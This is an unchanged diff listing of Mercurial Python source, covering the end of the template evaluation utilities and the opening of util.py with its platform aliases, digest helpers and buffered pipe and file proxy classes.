580 580 def _filteredgen(context, mapping, make, args, select):
581 581 for x in make(context, *args):
582 582 s = stringify(context, mapping, x)
583 583 if select(wrappedbytes(s)):
584 584 yield s
585 585
586 586 def filter(self, context, mapping, select):
587 587 args = (mapping, self._make, self._args, select)
588 588 return mappedgenerator(self._filteredgen, args)
589 589
590 590 def itermaps(self, context):
591 591 raise error.ParseError(_(b'list of strings is not mappable'))
592 592
593 593 def join(self, context, mapping, sep):
594 594 return joinitems(self._gen(context), sep)
595 595
596 596 def show(self, context, mapping):
597 597 return self.join(context, mapping, b'')
598 598
599 599 def tobool(self, context, mapping):
600 600 return _nonempty(self._gen(context))
601 601
602 602 def tovalue(self, context, mapping):
603 603 return [stringify(context, mapping, x) for x in self._gen(context)]
604 604
605 605
606 606 def hybriddict(data, key=b'key', value=b'value', fmt=None, gen=None):
607 607 """Wrap data to support both dict-like and string-like operations"""
608 608 prefmt = pycompat.identity
609 609 if fmt is None:
610 610 fmt = b'%s=%s'
611 611 prefmt = pycompat.bytestr
612 612 return hybrid(
613 613 gen,
614 614 data,
615 615 lambda k: {key: k, value: data[k]},
616 616 lambda k: fmt % (prefmt(k), prefmt(data[k])),
617 617 )
618 618
619 619
620 620 def hybridlist(data, name, fmt=None, gen=None):
621 621 """Wrap data to support both list-like and string-like operations"""
622 622 prefmt = pycompat.identity
623 623 if fmt is None:
624 624 fmt = b'%s'
625 625 prefmt = pycompat.bytestr
626 626 return hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % prefmt(x))
627 627
628 628
629 629 def compatdict(
630 630 context,
631 631 mapping,
632 632 name,
633 633 data,
634 634 key=b'key',
635 635 value=b'value',
636 636 fmt=None,
637 637 plural=None,
638 638 separator=b' ',
639 639 ):
640 640 """Wrap data like hybriddict(), but also supports old-style list template
641 641
642 642 This exists for backward compatibility with the old-style template. Use
643 643 hybriddict() for new template keywords.
644 644 """
645 645 c = [{key: k, value: v} for k, v in pycompat.iteritems(data)]
646 646 f = _showcompatlist(context, mapping, name, c, plural, separator)
647 647 return hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
648 648
649 649
650 650 def compatlist(
651 651 context,
652 652 mapping,
653 653 name,
654 654 data,
655 655 element=None,
656 656 fmt=None,
657 657 plural=None,
658 658 separator=b' ',
659 659 ):
660 660 """Wrap data like hybridlist(), but also supports old-style list template
661 661
662 662 This exists for backward compatibility with the old-style template. Use
663 663 hybridlist() for new template keywords.
664 664 """
665 665 f = _showcompatlist(context, mapping, name, data, plural, separator)
666 666 return hybridlist(data, name=element or name, fmt=fmt, gen=f)
667 667
668 668
669 669 def compatfilecopiesdict(context, mapping, name, copies):
670 670 """Wrap list of (dest, source) file names to support old-style list
671 671 template and field names
672 672
673 673 This exists for backward compatibility. Use hybriddict for new template
674 674 keywords.
675 675 """
676 676 # no need to provide {path} to old-style list template
677 677 c = [{b'name': k, b'source': v} for k, v in copies]
678 678 f = _showcompatlist(context, mapping, name, c, plural=b'file_copies')
679 679 copies = util.sortdict(copies)
680 680 return hybrid(
681 681 f,
682 682 copies,
683 683 lambda k: {b'name': k, b'path': k, b'source': copies[k]},
684 684 lambda k: b'%s (%s)' % (k, copies[k]),
685 685 )
686 686
687 687
688 688 def compatfileslist(context, mapping, name, files):
689 689 """Wrap list of file names to support old-style list template and field
690 690 names
691 691
692 692 This exists for backward compatibility. Use hybridlist for new template
693 693 keywords.
694 694 """
695 695 f = _showcompatlist(context, mapping, name, files)
696 696 return hybrid(
697 697 f, files, lambda x: {b'file': x, b'path': x}, pycompat.identity
698 698 )
699 699
700 700
701 701 def _showcompatlist(
702 702 context, mapping, name, values, plural=None, separator=b' '
703 703 ):
704 704 """Return a generator that renders old-style list template
705 705
706 706 name is name of key in template map.
707 707 values is list of strings or dicts.
708 708 plural is plural of name, if not simply name + 's'.
709 709 separator is used to join values as a string
710 710
711 711 expansion works like this, given name 'foo'.
712 712
713 713 if values is empty, expand 'no_foos'.
714 714
715 715 if 'foo' not in template map, return values as a string,
716 716 joined by 'separator'.
717 717
718 718 expand 'start_foos'.
719 719
720 720 for each value, expand 'foo'. if 'last_foo' in template
721 721 map, expand it instead of 'foo' for last key.
722 722
723 723 expand 'end_foos'.
724 724 """
725 725 if not plural:
726 726 plural = name + b's'
727 727 if not values:
728 728 noname = b'no_' + plural
729 729 if context.preload(noname):
730 730 yield context.process(noname, mapping)
731 731 return
732 732 if not context.preload(name):
733 733 if isinstance(values[0], bytes):
734 734 yield separator.join(values)
735 735 else:
736 736 for v in values:
737 737 r = dict(v)
738 738 r.update(mapping)
739 739 yield r
740 740 return
741 741 startname = b'start_' + plural
742 742 if context.preload(startname):
743 743 yield context.process(startname, mapping)
744 744
745 745 def one(v, tag=name):
746 746 vmapping = {}
747 747 try:
748 748 vmapping.update(v)
749 749 # Python 2 raises ValueError if the type of v is wrong. Python
750 750 # 3 raises TypeError.
751 751 except (AttributeError, TypeError, ValueError):
752 752 try:
753 753 # Python 2 raises ValueError trying to destructure an e.g.
754 754 # bytes. Python 3 raises TypeError.
755 755 for a, b in v:
756 756 vmapping[a] = b
757 757 except (TypeError, ValueError):
758 758 vmapping[name] = v
759 759 vmapping = context.overlaymap(mapping, vmapping)
760 760 return context.process(tag, vmapping)
761 761
762 762 lastname = b'last_' + name
763 763 if context.preload(lastname):
764 764 last = values.pop()
765 765 else:
766 766 last = None
767 767 for v in values:
768 768 yield one(v)
769 769 if last is not None:
770 770 yield one(last, tag=lastname)
771 771 endname = b'end_' + plural
772 772 if context.preload(endname):
773 773 yield context.process(endname, mapping)
774 774
775 775
776 776 def flatten(context, mapping, thing):
777 777 """Yield a single stream from a possibly nested set of iterators"""
778 778 if isinstance(thing, wrapped):
779 779 thing = thing.show(context, mapping)
780 780 if isinstance(thing, bytes):
781 781 yield thing
782 782 elif isinstance(thing, str):
783 783 # We can only hit this on Python 3, and it's here to guard
784 784 # against infinite recursion.
785 785 raise error.ProgrammingError(
786 786 b'Mercurial IO including templates is done'
787 787 b' with bytes, not strings, got %r' % thing
788 788 )
789 789 elif thing is None:
790 790 pass
791 791 elif not util.safehasattr(thing, b'__iter__'):
792 792 yield pycompat.bytestr(thing)
793 793 else:
794 794 for i in thing:
795 795 if isinstance(i, wrapped):
796 796 i = i.show(context, mapping)
797 797 if isinstance(i, bytes):
798 798 yield i
799 799 elif i is None:
800 800 pass
801 801 elif not util.safehasattr(i, b'__iter__'):
802 802 yield pycompat.bytestr(i)
803 803 else:
804 804 for j in flatten(context, mapping, i):
805 805 yield j
806 806
807 807
808 808 def stringify(context, mapping, thing):
809 809 """Turn values into bytes by converting into text and concatenating them"""
810 810 if isinstance(thing, bytes):
811 811 return thing # retain localstr to be round-tripped
812 812 return b''.join(flatten(context, mapping, thing))
813 813
814 814
815 815 def findsymbolicname(arg):
816 816 """Find symbolic name for the given compiled expression; returns None
817 817 if nothing found reliably"""
818 818 while True:
819 819 func, data = arg
820 820 if func is runsymbol:
821 821 return data
822 822 elif func is runfilter:
823 823 arg = data[0]
824 824 else:
825 825 return None
826 826
827 827
828 828 def _nonempty(xiter):
829 829 try:
830 830 next(xiter)
831 831 return True
832 832 except StopIteration:
833 833 return False
834 834
835 835
836 836 def _unthunk(context, mapping, thing):
837 837 """Evaluate a lazy byte string into value"""
838 838 if not isinstance(thing, types.GeneratorType):
839 839 return thing
840 840 return stringify(context, mapping, thing)
841 841
842 842
843 843 def evalrawexp(context, mapping, arg):
844 844 """Evaluate given argument as a bare template object which may require
845 845 further processing (such as folding generator of strings)"""
846 846 func, data = arg
847 847 return func(context, mapping, data)
848 848
849 849
850 850 def evalwrapped(context, mapping, arg):
851 851 """Evaluate given argument to wrapped object"""
852 852 thing = evalrawexp(context, mapping, arg)
853 853 return makewrapped(context, mapping, thing)
854 854
855 855
856 856 def makewrapped(context, mapping, thing):
857 857 """Lift object to a wrapped type"""
858 858 if isinstance(thing, wrapped):
859 859 return thing
860 860 thing = _unthunk(context, mapping, thing)
861 861 if isinstance(thing, bytes):
862 862 return wrappedbytes(thing)
863 863 return wrappedvalue(thing)
864 864
865 865
866 866 def evalfuncarg(context, mapping, arg):
867 867 """Evaluate given argument as value type"""
868 868 return unwrapvalue(context, mapping, evalrawexp(context, mapping, arg))
869 869
870 870
871 871 def unwrapvalue(context, mapping, thing):
872 872 """Move the inner value object out of the wrapper"""
873 873 if isinstance(thing, wrapped):
874 874 return thing.tovalue(context, mapping)
875 875 # evalrawexp() may return string, generator of strings or arbitrary object
876 876 # such as date tuple, but filter does not want generator.
877 877 return _unthunk(context, mapping, thing)
878 878
879 879
880 880 def evalboolean(context, mapping, arg):
881 881 """Evaluate given argument as boolean, but also takes boolean literals"""
882 882 func, data = arg
883 883 if func is runsymbol:
884 884 thing = func(context, mapping, data, default=None)
885 885 if thing is None:
886 886 # not a template keyword, takes as a boolean literal
887 887 thing = stringutil.parsebool(data)
888 888 else:
889 889 thing = func(context, mapping, data)
890 890 return makewrapped(context, mapping, thing).tobool(context, mapping)
891 891
892 892
893 893 def evaldate(context, mapping, arg, err=None):
894 894 """Evaluate given argument as a date tuple or a date string; returns
895 895 a (unixtime, offset) tuple"""
896 896 thing = evalrawexp(context, mapping, arg)
897 897 return unwrapdate(context, mapping, thing, err)
898 898
899 899
900 900 def unwrapdate(context, mapping, thing, err=None):
901 901 if isinstance(thing, date):
902 902 return thing.tovalue(context, mapping)
903 903 # TODO: update hgweb to not return bare tuple; then just stringify 'thing'
904 904 thing = unwrapvalue(context, mapping, thing)
905 905 try:
906 906 return dateutil.parsedate(thing)
907 907 except AttributeError:
908 908 raise error.ParseError(err or _(b'not a date tuple nor a string'))
909 909 except error.ParseError:
910 910 if not err:
911 911 raise
912 912 raise error.ParseError(err)
913 913
914 914
915 915 def evalinteger(context, mapping, arg, err=None):
916 916 thing = evalrawexp(context, mapping, arg)
917 917 return unwrapinteger(context, mapping, thing, err)
918 918
919 919
920 920 def unwrapinteger(context, mapping, thing, err=None):
921 921 thing = unwrapvalue(context, mapping, thing)
922 922 try:
923 923 return int(thing)
924 924 except (TypeError, ValueError):
925 925 raise error.ParseError(err or _(b'not an integer'))
926 926
927 927
928 928 def evalstring(context, mapping, arg):
929 929 return stringify(context, mapping, evalrawexp(context, mapping, arg))
930 930
931 931
932 932 def evalstringliteral(context, mapping, arg):
933 933 """Evaluate given argument as string template, but returns symbol name
934 934 if it is unknown"""
935 935 func, data = arg
936 936 if func is runsymbol:
937 937 thing = func(context, mapping, data, default=data)
938 938 else:
939 939 thing = func(context, mapping, data)
940 940 return stringify(context, mapping, thing)
941 941
942 942
943 943 _unwrapfuncbytype = {
944 944 None: unwrapvalue,
945 945 bytes: stringify,
946 946 date: unwrapdate,
947 947 int: unwrapinteger,
948 948 }
949 949
950 950
951 951 def unwrapastype(context, mapping, thing, typ):
952 952 """Move the inner value object out of the wrapper and coerce its type"""
953 953 try:
954 954 f = _unwrapfuncbytype[typ]
955 955 except KeyError:
956 956 raise error.ProgrammingError(b'invalid type specified: %r' % typ)
957 957 return f(context, mapping, thing)
958 958
959 959
960 960 def runinteger(context, mapping, data):
961 961 return int(data)
962 962
963 963
964 964 def runstring(context, mapping, data):
965 965 return data
966 966
967 967
968 968 def _recursivesymbolblocker(key):
969 969 def showrecursion(context, mapping):
970 970 raise error.Abort(_(b"recursive reference '%s' in template") % key)
971 971
972 972 return showrecursion
973 973
974 974
975 975 def runsymbol(context, mapping, key, default=b''):
976 976 v = context.symbol(mapping, key)
977 977 if v is None:
978 978 # put poison to cut recursion. we can't move this to parsing phase
979 979 # because "x = {x}" is allowed if "x" is a keyword. (issue4758)
980 980 safemapping = mapping.copy()
981 981 safemapping[key] = _recursivesymbolblocker(key)
982 982 try:
983 983 v = context.process(key, safemapping)
984 984 except TemplateNotFound:
985 985 v = default
986 986 if callable(v):
987 987 # new templatekw
988 988 try:
989 989 return v(context, mapping)
990 990 except ResourceUnavailable:
991 991 # unsupported keyword is mapped to empty just like unknown keyword
992 992 return None
993 993 return v
994 994
995 995
996 996 def runtemplate(context, mapping, template):
997 997 for arg in template:
998 998 yield evalrawexp(context, mapping, arg)
999 999
1000 1000
1001 1001 def runfilter(context, mapping, data):
1002 1002 arg, filt = data
1003 1003 thing = evalrawexp(context, mapping, arg)
1004 1004 intype = getattr(filt, '_intype', None)
1005 1005 try:
1006 1006 thing = unwrapastype(context, mapping, thing, intype)
1007 1007 return filt(thing)
1008 1008 except error.ParseError as e:
1009 1009 raise error.ParseError(bytes(e), hint=_formatfiltererror(arg, filt))
1010 1010
1011 1011
1012 1012 def _formatfiltererror(arg, filt):
1013 1013 fn = pycompat.sysbytes(filt.__name__)
1014 1014 sym = findsymbolicname(arg)
1015 1015 if not sym:
1016 1016 return _(b"incompatible use of template filter '%s'") % fn
1017 1017 return _(b"template filter '%s' is not compatible with keyword '%s'") % (
1018 1018 fn,
1019 1019 sym,
1020 1020 )
1021 1021
1022 1022
1023 1023 def _iteroverlaymaps(context, origmapping, newmappings):
1024 1024 """Generate combined mappings from the original mapping and an iterable
1025 1025 of partial mappings to override the original"""
1026 1026 for i, nm in enumerate(newmappings):
1027 1027 lm = context.overlaymap(origmapping, nm)
1028 1028 lm[b'index'] = i
1029 1029 yield lm
1030 1030
1031 1031
1032 1032 def _applymap(context, mapping, d, darg, targ):
1033 1033 try:
1034 1034 diter = d.itermaps(context)
1035 1035 except error.ParseError as err:
1036 1036 sym = findsymbolicname(darg)
1037 1037 if not sym:
1038 1038 raise
1039 1039 hint = _(b"keyword '%s' does not support map operation") % sym
1040 1040 raise error.ParseError(bytes(err), hint=hint)
1041 1041 for lm in _iteroverlaymaps(context, mapping, diter):
1042 1042 yield evalrawexp(context, lm, targ)
1043 1043
1044 1044
1045 1045 def runmap(context, mapping, data):
1046 1046 darg, targ = data
1047 1047 d = evalwrapped(context, mapping, darg)
1048 1048 return mappedgenerator(_applymap, args=(mapping, d, darg, targ))
1049 1049
1050 1050
1051 1051 def runmember(context, mapping, data):
1052 1052 darg, memb = data
1053 1053 d = evalwrapped(context, mapping, darg)
1054 1054 if isinstance(d, mappable):
1055 1055 lm = context.overlaymap(mapping, d.tomap(context))
1056 1056 return runsymbol(context, lm, memb)
1057 1057 try:
1058 1058 return d.getmember(context, mapping, memb)
1059 1059 except error.ParseError as err:
1060 1060 sym = findsymbolicname(darg)
1061 1061 if not sym:
1062 1062 raise
1063 1063 hint = _(b"keyword '%s' does not support member operation") % sym
1064 1064 raise error.ParseError(bytes(err), hint=hint)
1065 1065
1066 1066
1067 1067 def runnegate(context, mapping, data):
1068 1068 data = evalinteger(
1069 1069 context, mapping, data, _(b'negation needs an integer argument')
1070 1070 )
1071 1071 return -data
1072 1072
1073 1073
1074 1074 def runarithmetic(context, mapping, data):
1075 1075 func, left, right = data
1076 1076 left = evalinteger(
1077 1077 context, mapping, left, _(b'arithmetic only defined on integers')
1078 1078 )
1079 1079 right = evalinteger(
1080 1080 context, mapping, right, _(b'arithmetic only defined on integers')
1081 1081 )
1082 1082 try:
1083 1083 return func(left, right)
1084 1084 except ZeroDivisionError:
1085 1085 raise error.Abort(_(b'division by zero is not defined'))
1086 1086
1087 1087
1088 1088 def joinitems(itemiter, sep):
1089 1089 """Join items with the separator; Returns generator of bytes"""
1090 1090 first = True
1091 1091 for x in itemiter:
1092 1092 if first:
1093 1093 first = False
1094 1094 elif sep:
1095 1095 yield sep
1096 1096 yield x
@@ -1,3660 +1,3660 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 stringutil,
58 58 )
59 59
60 60 rustdirs = policy.importrust(r'dirstate', r'Dirs')
61 61
62 62 base85 = policy.importmod(r'base85')
63 63 osutil = policy.importmod(r'osutil')
64 64 parsers = policy.importmod(r'parsers')
65 65
66 66 b85decode = base85.b85decode
67 67 b85encode = base85.b85encode
68 68
69 69 cookielib = pycompat.cookielib
70 70 httplib = pycompat.httplib
71 71 pickle = pycompat.pickle
72 72 safehasattr = pycompat.safehasattr
73 73 socketserver = pycompat.socketserver
74 74 bytesio = pycompat.bytesio
75 75 # TODO deprecate stringio name, as it is a lie on Python 3.
76 76 stringio = bytesio
77 77 xmlrpclib = pycompat.xmlrpclib
78 78
79 79 httpserver = urllibcompat.httpserver
80 80 urlerr = urllibcompat.urlerr
81 81 urlreq = urllibcompat.urlreq
82 82
83 83 # workaround for win32mbcs
84 84 _filenamebytestr = pycompat.bytestr
85 85
86 86 if pycompat.iswindows:
87 87 from . import windows as platform
88 88 else:
89 89 from . import posix as platform
90 90
91 91 _ = i18n._
92 92
93 93 bindunixsocket = platform.bindunixsocket
94 94 cachestat = platform.cachestat
95 95 checkexec = platform.checkexec
96 96 checklink = platform.checklink
97 97 copymode = platform.copymode
98 98 expandglobs = platform.expandglobs
99 99 getfsmountpoint = platform.getfsmountpoint
100 100 getfstype = platform.getfstype
101 101 groupmembers = platform.groupmembers
102 102 groupname = platform.groupname
103 103 isexec = platform.isexec
104 104 isowner = platform.isowner
105 105 listdir = osutil.listdir
106 106 localpath = platform.localpath
107 107 lookupreg = platform.lookupreg
108 108 makedir = platform.makedir
109 109 nlinks = platform.nlinks
110 110 normpath = platform.normpath
111 111 normcase = platform.normcase
112 112 normcasespec = platform.normcasespec
113 113 normcasefallback = platform.normcasefallback
114 114 openhardlinks = platform.openhardlinks
115 115 oslink = platform.oslink
116 116 parsepatchoutput = platform.parsepatchoutput
117 117 pconvert = platform.pconvert
118 118 poll = platform.poll
119 119 posixfile = platform.posixfile
120 120 readlink = platform.readlink
121 121 rename = platform.rename
122 122 removedirs = platform.removedirs
123 123 samedevice = platform.samedevice
124 124 samefile = platform.samefile
125 125 samestat = platform.samestat
126 126 setflags = platform.setflags
127 127 split = platform.split
128 128 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
129 129 statisexec = platform.statisexec
130 130 statislink = platform.statislink
131 131 umask = platform.umask
132 132 unlink = platform.unlink
133 133 username = platform.username
134 134
135 135 # small compat layer
136 136 compengines = compression.compengines
137 137 SERVERROLE = compression.SERVERROLE
138 138 CLIENTROLE = compression.CLIENTROLE
139 139
140 140 try:
141 141 recvfds = osutil.recvfds
142 142 except AttributeError:
143 143 pass
144 144
145 145 # Python compatibility
146 146
147 147 _notset = object()
148 148
149 149
150 150 def bitsfrom(container):
151 151 bits = 0
152 152 for bit in container:
153 153 bits |= bit
154 154 return bits
155 155
156 156
157 157 # python 2.6 still have deprecation warning enabled by default. We do not want
158 158 # to display anything to standard user so detect if we are running test and
159 159 # only use python deprecation warning in this case.
160 160 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
161 161 if _dowarn:
162 162 # explicitly unfilter our warning for python 2.7
163 163 #
164 164 # The option of setting PYTHONWARNINGS in the test runner was investigated.
165 165 # However, module name set through PYTHONWARNINGS was exactly matched, so
166 166 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
167 167 # makes the whole PYTHONWARNINGS thing useless for our usecase.
168 168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
169 169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
170 170 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
171 171 if _dowarn and pycompat.ispy3:
172 172 # silence warning emitted by passing user string to re.sub()
173 173 warnings.filterwarnings(
174 174 r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
175 175 )
176 176 warnings.filterwarnings(
177 177 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
178 178 )
179 179 # TODO: reinvent imp.is_frozen()
180 180 warnings.filterwarnings(
181 181 r'ignore',
182 182 r'the imp module is deprecated',
183 183 DeprecationWarning,
184 184 r'mercurial',
185 185 )
186 186
187 187
188 188 def nouideprecwarn(msg, version, stacklevel=1):
189 189 """Issue an python native deprecation warning
190 190
191 191 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
192 192 """
193 193 if _dowarn:
194 194 msg += (
195 195 b"\n(compatibility will be dropped after Mercurial-%s,"
196 196 b" update your code.)"
197 197 ) % version
198 198 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
199 199
200 200
201 201 DIGESTS = {
202 202 b'md5': hashlib.md5,
203 203 b'sha1': hashlib.sha1,
204 204 b'sha512': hashlib.sha512,
205 205 }
206 206 # List of digest types from strongest to weakest
207 207 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
208 208
209 209 for k in DIGESTS_BY_STRENGTH:
210 210 assert k in DIGESTS
211 211
212 212
213 213 class digester(object):
214 214 """helper to compute digests.
215 215
216 216 This helper can be used to compute one or more digests given their name.
217 217
218 218 >>> d = digester([b'md5', b'sha1'])
219 219 >>> d.update(b'foo')
220 220 >>> [k for k in sorted(d)]
221 221 ['md5', 'sha1']
222 222 >>> d[b'md5']
223 223 'acbd18db4cc2f85cedef654fccc4a4d8'
224 224 >>> d[b'sha1']
225 225 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
226 226 >>> digester.preferred([b'md5', b'sha1'])
227 227 'sha1'
228 228 """
229 229
230 230 def __init__(self, digests, s=b''):
231 231 self._hashes = {}
232 232 for k in digests:
233 233 if k not in DIGESTS:
234 234 raise error.Abort(_(b'unknown digest type: %s') % k)
235 235 self._hashes[k] = DIGESTS[k]()
236 236 if s:
237 237 self.update(s)
238 238
239 239 def update(self, data):
240 240 for h in self._hashes.values():
241 241 h.update(data)
242 242
243 243 def __getitem__(self, key):
244 244 if key not in DIGESTS:
245 245 raise error.Abort(_(b'unknown digest type: %s') % k)
246 246 return nodemod.hex(self._hashes[key].digest())
247 247
248 248 def __iter__(self):
249 249 return iter(self._hashes)
250 250
251 251 @staticmethod
252 252 def preferred(supported):
253 253 """returns the strongest digest type in both supported and DIGESTS."""
254 254
255 255 for k in DIGESTS_BY_STRENGTH:
256 256 if k in supported:
257 257 return k
258 258 return None
259 259
260 260
261 261 class digestchecker(object):
262 262 """file handle wrapper that additionally checks content against a given
263 263 size and digests.
264 264
265 265 d = digestchecker(fh, size, {'md5': '...'})
266 266
267 267 When multiple digests are given, all of them are validated.
268 268 """
269 269
270 270 def __init__(self, fh, size, digests):
271 271 self._fh = fh
272 272 self._size = size
273 273 self._got = 0
274 274 self._digests = dict(digests)
275 275 self._digester = digester(self._digests.keys())
276 276
277 277 def read(self, length=-1):
278 278 content = self._fh.read(length)
279 279 self._digester.update(content)
280 280 self._got += len(content)
281 281 return content
282 282
283 283 def validate(self):
284 284 if self._size != self._got:
285 285 raise error.Abort(
286 286 _(b'size mismatch: expected %d, got %d')
287 287 % (self._size, self._got)
288 288 )
289 289 for k, v in self._digests.items():
290 290 if v != self._digester[k]:
291 291 # i18n: first parameter is a digest name
292 292 raise error.Abort(
293 293 _(b'%s mismatch: expected %s, got %s')
294 294 % (k, v, self._digester[k])
295 295 )
296 296
297 297
298 298 try:
299 299 buffer = buffer
300 300 except NameError:
301 301
302 302 def buffer(sliceable, offset=0, length=None):
303 303 if length is not None:
304 304 return memoryview(sliceable)[offset : offset + length]
305 305 return memoryview(sliceable)[offset:]
306 306
307 307
308 308 _chunksize = 4096
309 309
310 310
311 311 class bufferedinputpipe(object):
312 312 """a manually buffered input pipe
313 313
314 314 Python will not let us use buffered IO and lazy reading with 'polling' at
315 315 the same time. We cannot probe the buffer state and select will not detect
316 316 that data are ready to read if they are already buffered.
317 317
318 318 This class let us work around that by implementing its own buffering
319 319 (allowing efficient readline) while offering a way to know if the buffer is
320 320 empty from the output (allowing collaboration of the buffer with polling).
321 321
322 322 This class lives in the 'util' module because it makes use of the 'os'
323 323 module from the python stdlib.
324 324 """
325 325
326 326 def __new__(cls, fh):
327 327 # If we receive a fileobjectproxy, we need to use a variation of this
328 328 # class that notifies observers about activity.
329 329 if isinstance(fh, fileobjectproxy):
330 330 cls = observedbufferedinputpipe
331 331
332 332 return super(bufferedinputpipe, cls).__new__(cls)
333 333
334 334 def __init__(self, input):
335 335 self._input = input
336 336 self._buffer = []
337 337 self._eof = False
338 338 self._lenbuf = 0
339 339
340 340 @property
341 341 def hasbuffer(self):
342 342 """True is any data is currently buffered
343 343
344 344 This will be used externally a pre-step for polling IO. If there is
345 345 already data then no polling should be set in place."""
346 346 return bool(self._buffer)
347 347
348 348 @property
349 349 def closed(self):
350 350 return self._input.closed
351 351
352 352 def fileno(self):
353 353 return self._input.fileno()
354 354
355 355 def close(self):
356 356 return self._input.close()
357 357
358 358 def read(self, size):
359 359 while (not self._eof) and (self._lenbuf < size):
360 360 self._fillbuffer()
361 361 return self._frombuffer(size)
362 362
363 363 def unbufferedread(self, size):
364 364 if not self._eof and self._lenbuf == 0:
365 365 self._fillbuffer(max(size, _chunksize))
366 366 return self._frombuffer(min(self._lenbuf, size))
367 367
368 368 def readline(self, *args, **kwargs):
369 369 if len(self._buffer) > 1:
370 370 # this should not happen because both read and readline end with a
371 371 # _frombuffer call that collapse it.
372 372 self._buffer = [b''.join(self._buffer)]
373 373 self._lenbuf = len(self._buffer[0])
374 374 lfi = -1
375 375 if self._buffer:
376 376 lfi = self._buffer[-1].find(b'\n')
377 377 while (not self._eof) and lfi < 0:
378 378 self._fillbuffer()
379 379 if self._buffer:
380 380 lfi = self._buffer[-1].find(b'\n')
381 381 size = lfi + 1
382 382 if lfi < 0: # end of file
383 383 size = self._lenbuf
384 384 elif len(self._buffer) > 1:
385 385 # we need to take previous chunks into account
386 386 size += self._lenbuf - len(self._buffer[-1])
387 387 return self._frombuffer(size)
388 388
389 389 def _frombuffer(self, size):
390 390 """return at most 'size' data from the buffer
391 391
392 392 The data are removed from the buffer."""
393 393 if size == 0 or not self._buffer:
394 394 return b''
395 395 buf = self._buffer[0]
396 396 if len(self._buffer) > 1:
397 397 buf = b''.join(self._buffer)
398 398
399 399 data = buf[:size]
400 400 buf = buf[len(data) :]
401 401 if buf:
402 402 self._buffer = [buf]
403 403 self._lenbuf = len(buf)
404 404 else:
405 405 self._buffer = []
406 406 self._lenbuf = 0
407 407 return data
408 408
409 409 def _fillbuffer(self, size=_chunksize):
410 410 """read data to the buffer"""
411 411 data = os.read(self._input.fileno(), size)
412 412 if not data:
413 413 self._eof = True
414 414 else:
415 415 self._lenbuf += len(data)
416 416 self._buffer.append(data)
417 417
418 418 return data
419 419
420 420
421 421 def mmapread(fp):
422 422 try:
423 423 fd = getattr(fp, 'fileno', lambda: fp)()
424 424 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
425 425 except ValueError:
426 426 # Empty files cannot be mmapped, but mmapread should still work. Check
427 427 # if the file is empty, and if so, return an empty buffer.
428 428 if os.fstat(fd).st_size == 0:
429 429 return b''
430 430 raise
431 431
432 432
433 433 class fileobjectproxy(object):
434 434 """A proxy around file objects that tells a watcher when events occur.
435 435
436 436 This type is intended to only be used for testing purposes. Think hard
437 437 before using it in important code.
438 438 """
439 439
440 440 __slots__ = (
441 441 r'_orig',
442 442 r'_observer',
443 443 )
444 444
445 445 def __init__(self, fh, observer):
446 446 object.__setattr__(self, r'_orig', fh)
447 447 object.__setattr__(self, r'_observer', observer)
448 448
449 449 def __getattribute__(self, name):
450 450 ours = {
451 451 r'_observer',
452 452 # IOBase
453 453 r'close',
454 454 # closed if a property
455 455 r'fileno',
456 456 r'flush',
457 457 r'isatty',
458 458 r'readable',
459 459 r'readline',
460 460 r'readlines',
461 461 r'seek',
462 462 r'seekable',
463 463 r'tell',
464 464 r'truncate',
465 465 r'writable',
466 466 r'writelines',
467 467 # RawIOBase
468 468 r'read',
469 469 r'readall',
470 470 r'readinto',
471 471 r'write',
472 472 # BufferedIOBase
473 473 # raw is a property
474 474 r'detach',
475 475 # read defined above
476 476 r'read1',
477 477 # readinto defined above
478 478 # write defined above
479 479 }
480 480
481 481 # We only observe some methods.
482 482 if name in ours:
483 483 return object.__getattribute__(self, name)
484 484
485 485 return getattr(object.__getattribute__(self, r'_orig'), name)
486 486
487 487 def __nonzero__(self):
488 488 return bool(object.__getattribute__(self, r'_orig'))
489 489
490 490 __bool__ = __nonzero__
491 491
492 492 def __delattr__(self, name):
493 493 return delattr(object.__getattribute__(self, r'_orig'), name)
494 494
495 495 def __setattr__(self, name, value):
496 496 return setattr(object.__getattribute__(self, r'_orig'), name, value)
497 497
498 498 def __iter__(self):
499 499 return object.__getattribute__(self, r'_orig').__iter__()
500 500
501 501 def _observedcall(self, name, *args, **kwargs):
502 502 # Call the original object.
503 503 orig = object.__getattribute__(self, r'_orig')
504 504 res = getattr(orig, name)(*args, **kwargs)
505 505
